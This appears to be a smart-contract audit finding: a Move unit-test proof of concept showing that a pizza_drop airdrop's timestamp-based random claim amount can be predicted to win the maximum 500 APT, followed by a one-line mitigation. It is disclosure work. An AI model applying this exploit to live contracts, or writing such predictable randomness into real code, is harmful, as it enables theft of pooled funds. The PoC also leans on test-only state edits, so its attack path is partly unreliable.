The POC has been made reflecting how attacker can exploit through timestamp based randomness and consistently getting 500 APT from 100 - 500 random numbers.
#[test_only]
use aptos_framework::block;
​
#[test(deployer = @pizza_drop, attacker = @0x999, framework = @0x1)]
fun test_randomness_manipulation_poc(
deployer: &signer,
attacker: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
​
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
​
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
​
debug::print(&b"=== RANDOMNESS MANIPULATION POC ===");
debug::print(&b"Demonstrating timestamp vulnerability");
​
init_module(deployer);
let funding_amount = 1000000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
​
fund_pizza_drop(deployer, 500000);
​
let attacker_addr = signer::address_of(attacker);
​
debug::print(&b"Attacker will time transactions to get max 500 APT");
​
register_pizza_lover(deployer, attacker_addr);
let normal_amount = get_claimed_amount(attacker_addr);
debug::print(&b"Normal random amount: ");
debug::print(&normal_amount);
​
let state = borrow_global_mut<State>(get_resource_address());
table::remove(&mut state.users_claimed_amount, attacker_addr);
table::remove(&mut state.claimed_users, attacker_addr);
​
debug::print(&b"Attacker manipulates timestamp...");
​
let optimal_time = 1640995200000000 + 400;
timestamp::fast_forward_seconds_for_testing(optimal_time / 1000000);
register_pizza_lover(deployer, attacker_addr);
let manipulated_amount = get_claimed_amount(attacker_addr);
debug::print(&b"Manipulated amount: ");
debug::print(&manipulated_amount);
​
let expected_manipulated_amount = 100 + (optimal_time % 401);
debug::print(&b"Expected manipulated amount: ");
debug::print(&expected_manipulated_amount);
​
assert!(manipulated_amount == expected_manipulated_amount, 1);
debug::print(&b"✅ Attacker successfully predicted the amount!");
​
debug::print(&b"Now attacker aims for maximum 500 APT...");
​
table::remove(&mut state.users_claimed_amount, attacker_addr);
table::remove(&mut state.claimed_users, attacker_addr);
​
let max_reward_time = 1640995200000000 + 400;
timestamp::fast_forward_seconds_for_testing(max_reward_time / 1000000);
register_pizza_lover(deployer, attacker_addr);
let max_amount = get_claimed_amount(attacker_addr);
debug::print(&b"Achieved amount: ");
debug::print(&max_amount);
​
assert!(max_amount == 500, 2);
debug::print(&b"🎯 ATTACK SUCCESSFUL: Attacker got maximum 500 APT!");
​
debug::print(&b"Pattern: timestamp % 401 = ");
debug::print(&(max_reward_time % 401));
debug::print(&b"100 + (timestamp % 401) = 500");
​
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
​
debug::print(&b"=== RANDOMNESS VULNERABILITY DEMONSTRATED ===");
debug::print(&b"Attackers can time transactions to control rewards!");
}
​
#[test(deployer = @pizza_drop, attacker1 = @0x999, attacker2 = @0x888, framework = @0x1)]
fun test_multiple_attackers_exploit(
deployer: &signer,
attacker1: &signer,
attacker2: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
​
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
​
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker1));
account::create_account_for_test(signer::address_of(attacker2));
​
debug::print(&b"=== MULTIPLE ATTACKERS EXPLOIT ===");
​
init_module(deployer);
fund_pizza_drop(deployer, 1000000);
​
let attacker1_addr = signer::address_of(attacker1);
let attacker2_addr = signer::address_of(attacker2);
​
let optimal_time = 1640995200000000 + 400;
timestamp::fast_forward_seconds_for_testing(optimal_time / 1000000);
register_pizza_lover(deployer, attacker1_addr);
let amount1 = get_claimed_amount(attacker1_addr);
assert!(amount1 == 500, 1);
​
timestamp::fast_forward_seconds_for_testing((optimal_time + 1) / 1000000);
register_pizza_lover(deployer, attacker2_addr);
let amount2 = get_claimed_amount(attacker2_addr);
debug::print(&b"Attacker 1 got: ");
debug::print(&amount1);
debug::print(&b"Attacker 2 got: ");
debug::print(&amount2);
​
assert!(amount2 >= 100 && amount2 <= 500, 2);
debug::print(&b"Both attackers exploited the vulnerability!");
​
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
​
debug::print(&b"=== MULTIPLE ATTACKERS SUCCESS ===");
}
This can be mitigated by using hash along with the timestamp to overcome the vulnerability.